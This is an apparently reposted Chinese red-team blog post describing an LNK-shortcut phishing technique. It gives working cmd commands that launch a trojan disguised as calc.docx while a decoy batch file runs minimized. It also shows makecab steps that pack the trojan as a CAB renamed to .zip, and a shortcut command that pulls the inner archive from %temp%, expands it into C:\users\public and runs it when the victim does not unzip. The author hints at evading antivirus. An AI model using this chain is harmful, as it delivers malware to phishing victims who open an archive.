2022年研究的一个lnk钓鱼技术,纯原创,部分技术目前仍然有效,只介绍其中的重点技术,因为懒得写全部。
在lnk中嵌入命令
虚假的lnk钓鱼,其中 calc.docx 是 calc.exe
C:WindowsSystem32cmd.exe /c "cmd /c calc.docx
果真的lnk钓鱼,lnk属性中运行方式设置为【最小化】,
C:WindowsSystem32cmd.exe /c "C:WindowsSystem32MsDtcTracemsdtcvtr.bat && cmd /c calc.docx
lnk钓鱼在压缩包中的局限性
众所周知,不解压,在压缩包中直接点击这类lnk钓鱼样本(木马非远程加载/下载)是不会执行木马的,因为点击1.lnk时找不到 calc.docx ,故无法执行木马,通常的方法是强行或者诱导目标解压该压缩包,然后在正常点击上线。
解决这个局限性
使目标即便是不解压,仍然可以点击lnk上线。
众所周知,当你不解压去点击压缩包中的文件时,压缩软件会先把该文件拷贝到系统的磁盘中,然后去打开它,
这个路径和压缩软件的种类有关系,但是无论是哪一种压缩软件,都会在 %temp% 下处理这个过程。
那我们可以利用这个特性,将木马压缩包进行二次压缩,这样当目标打开外层的压缩包,然后点击内层压缩包(木马压缩包)时,该内层压缩包就会落地到磁盘中,
那怎么解压这个内层压缩包呢?lnk的命令中能不能塞下解压的命令?
众所周知,windows没有自带的解压.zip .rar文件的工具,因此无法直接通过命令行执行压缩包里的文件。
众所不周知,windows中expand命令可以解压cab文件,将木马和快捷方式使用makecab打包成.cab文件,再将后缀改为.zip或.rar,然后在lnk命令中使用expand命令将压缩包全部解压。
将快捷方式和木马(calc.docx)放到同一个空文件夹内,执行命令,
for /r %i in (*.*) do echo %i c:list.txt
生成list.txt后再执行命令,
makecab /f c:list.txt /d expresstype=mszip /d expressmemory=21 /d maxdisksize=1024000000 /d diskdirectorytemplate=C:cab /d cabinetnametemplate=zptest.ca
生成的压缩包文件zptest.cab在cab目录下,可以随意改成其他压缩包后缀名,不影响解压。
在lnk文件中设置下方命令,两种情况都可以应对:目标解压或者不解压。
当目标解压了,就会成功执行 || 前面的,正常执行木马,后部分就不会执行;
当目标不解压,|| 前面的不会正常执行,后部分就会执行,逻辑是进入public目录,并搜索%temp%目录下zptest.zip(内层压缩包,其实是zptest.cab),找到后用expand命令解压到当前目录(C:userspublic),这样就能目前知道木马文件的位置了(C:userspubliccalc.docx),能够正常执行。
C:WindowsSystem32cmd.exe /c "C:WindowsSystem32MsDtcTracemsdtcvtr.bat && cmd /c calc.docx || cd C:userspublic&&for /r %temp% %i in (zptest.zip)do copy %i zptest.zip&&expand zptest.zip -F:* .&& cmd /c calc.docx && exit"
发现实验中最后一步会报毒,去年还可以的,不过能绕,我就点到为止了,后面看各位师傅的了。当然玩法不只是这个例子,有其他的变种,核心点是二层压缩包突破局限性那一步。
求波关注,粉丝量一直上不去,我不想搞营销号那套,看来还是得更一些渗透、攻防方面的文章,那些看的人多,敬请期待
原文始发于微信公众号(安全小将李坦然):【红队】lnk钓鱼的奇思妙想(你应该没见过)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论